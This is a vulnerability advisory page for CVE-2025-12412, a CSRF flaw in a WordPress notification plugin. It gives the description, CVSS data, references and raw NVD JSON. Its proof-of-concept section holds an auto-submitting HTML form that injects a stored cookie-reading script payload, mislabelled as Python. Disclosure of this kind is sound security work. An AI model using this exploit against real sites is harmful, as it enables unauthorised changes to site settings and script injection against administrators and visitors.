CVE-2025-12412

Description

The Top Bar Notification plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.12. This is due to missing or incorrect nonce validation on th tbn_ajax_add() function. This makes it possible for unauthenticated attackers to update the plugin's settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Top Bar Notification WordPress插件 <= 1.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12412 PoC: CSRF to Stored XSS in Top Bar Notification plugin -->
<html>
  <body>
    <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST" id="exploit">
      <input type="hidden" name="action" value="tbn_ajax_add" />
      <input type="hidden" name="tbn_title" value="Notification Title" />
      <input type="hidden" name="tbn_message" value="<script>alert(document.cookie)</script>" />
      <input type="hidden" name="tbn_button_text" value="Click Me" />
      <input type="hidden" name="tbn_button_url" value="https://malicious-site.com" />
      <input type="hidden" name="tbn_display_time" value="0" />
      <input type="hidden" name="tbn_position" value="top" />
    </form>
    <script>
      document.getElementById('exploit').submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12412
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12412
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12412/
[4] VulDB https://vuldb.com/cve/CVE-2025-12412
[5] https://plugins.trac.wordpress.org/browser/top-bar-notification/tags/1.12/Notification.php#L102
[6] https://plugins.trac.wordpress.org/browser/top-bar-notification/tags/1.12/Notification.php#L75
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/0856f3bf-da17-44bb-aa30-26f9fb6e22b1?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12412", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:13.150", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Top Bar Notification plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.12. This is due to missing or incorrect nonce validation on th tbn_ajax_add() function. This makes it possible for unauthenticated attackers to update the plugin's settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/top-bar-notification/tags/1.12/Notification.php#L102", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/top-bar-notification/tags/1.12/Notification.php#L75", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0856f3bf-da17-44bb-aa30-26f9fb6e22b1?source=cve", "source": "[email protected]"}]}}